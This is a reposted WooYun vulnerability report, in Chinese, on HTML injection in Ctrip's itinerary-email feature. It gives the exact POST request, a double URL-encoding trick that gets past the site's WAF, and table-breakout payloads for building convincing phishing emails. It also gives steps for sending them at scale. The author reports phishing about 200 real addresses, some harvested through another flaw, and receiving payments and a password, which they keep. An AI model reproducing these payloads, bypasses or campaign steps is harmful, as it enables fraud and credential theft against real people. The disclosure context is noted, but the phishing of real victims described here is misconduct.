一种可大规模定向钓鱼携程旅游网千万用户的攻击过程重放(转载自wooyun)

详细说明:

这两天在外面旅游又用起来携程订酒店,偶然看到这样一个功能

1.png





可以给自己的邮箱发送一封自己的行程邮件,点开后默认的邮箱是自己账户绑定的邮箱,也可以自行修改为其他任意邮箱

2.png





3.png



来看一下邮件的内容,

4.png


如果我们能控制页面输出变量的话,那么可以引发一场定向的钓鱼攻击


邮箱都是支持html标记的,那么抓包来看一下,变量中所能控制的

code 区域
POST /Customer-API-Online/Ajax/AjaxMailJourney.aspx HTTP/1.1
Host: my.ctrip.com
Proxy-Connection: keep-alive
Content-Length: 118
Cache-Control: max-age=0
Origin: http://my.ctrip.com
If-Modified-Since: Thu, 01 Jan 1970 00:00:00 GMT
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://my.ctrip.com/Customer-API-Online/MyJourney.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: *************************************************

UserName=页面中输出的用户名,可控制&EmailTo=发往的邮箱目的地址&Consumer=&StartTime=&EndTime=&TargetCityName=&ItineraryType=-1&OrderStatusName=



code 区域
UserName=页面中输出的用户名,可控制&EmailTo=发往的邮箱目的地址


要能实现攻击,首先的就是测试是否对长度有限制,如果限制了长度,那么攻击将可能变得很鸡肋甚至根本无法利用



设置

code 区域
UserName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA





结果如图:

5.png





并没有长度限制,而且因为框架超出问题,原来的行程单也无法正常显示,进一步提供了有利的条件



既然不限制长度,那么就来测试自定义html标签的攻击了



测试1:

code 区域
UserName=<img src=https://www.baidu.com/img/bdlogo.png />







返回结果服务器500错误:

6.png





携程的中间件风险控制的规则应该是匹配GET、POST(COOKIE没有进行测试)中的高危行为,比如and 1=1、</>等,然后定义到错误页面,如果同一IP连续多次访问该错误页面,那么就会在一段时间内屏蔽该IP地址



测试2,urlencode 1次 :

code 区域
UserName=%3Cimg%20src=https://www.baidu.com/img/bdlogo.png%20/%3E





返回500,被防御规则丢弃



测试3,urlencode 2次:



code 区域
UserName=%253Cimg%2520src=https://www.baidu.com/img/bdlogo.png%2520/%253E


返回200,如图,成功绕过了风险控制匹配



7.png





看一下邮件:

8.png





百度君插入了



之后就是对页面元素分析,如何插入一个最真实逼真的钓鱼环境



举个例子,比如要把后面跟着的“先生/女士…………”移动到第一个框架外


code 区域
UserName=Wooyun html%253C/table%253E%253C/table%253E%253Ctable%253E%253Ctable%253E







可以看到,第一个淡蓝色方框内已经排除了其他元素,剩下的可以自定义了

9.png





由于洞主对前端设计、html这一块实在是一个渣渣



尽力也只能伪造了以下不忍直视的结果

10.png





将背景颜色设置为白色会好看点

11.png





12.png





数据库里随便选了100个携程用户的邮箱,发送了邮件进行钓鱼测试

那么问题来了,用户哪里来?

是否记得有一个这个漏洞:http://wooyun.org/bugs/wooyun-2014-077356

这个漏洞里面的问题,在报告之前很久就发现了,但是觉得不是安全问题很多站点都有该问题,以前只爬虫收集过一部分用户uid邮箱,一直躺在硬盘里,刚好拿出来用部分

下午就有了结果,很快,这么点钱我就不退了~~毕竟我不知道你们的支付宝。。。

13.png





14.png





只有2条支付过来的记录,不过如果大规模进行攻击的话,还是很可怕的。



密码钓鱼也返回了1条



15.png



然后另选100条其他邮箱数据,非携程用户

在http://cli.im/生成二维码附上,内容为测试网站,做好IP统计

竟然有这么多人扫了。。。。看来携程的知名度还是有的,福利诱惑一般人扛不住



16.png





2种方式进行规模化攻击:

1、直接导入邮箱变量进行fuzzing

2、可以一次性群发(注意最开始我提到的),发一次即可,一次50条邮箱,发太多怕被服务器拒绝。





==============================



Conclusion 总结



1、我写的这么渣的钓鱼页面都能中招,看来大部分网民的安全意识还是很薄弱,如果换成前端大神@疯狗 来精心伪造一页面元素,说不定我都中招了。



2、安全不一定在于真正强的地方有多强。



3、风控规则仍需完善,urlencode2次就绕过了。



漏洞证明:


修复方案:

Conclusion 总结

1、我写的这么渣的钓鱼页面都能中招,看来大部分网民的安全意识还是很薄弱,如果换成前端大神@疯狗 来精心伪造一页面元素,说不定我都中招了。

2、安全不一定在于真正强的地方有多强。

3、风控规则仍需完善,urlencode2次就绕过了。


原文连接:http://wooyun.org/bugs/wooyun-2015-0114708

你可能感兴趣的:(windows,chrome,定向,携程旅游网,携程订酒店)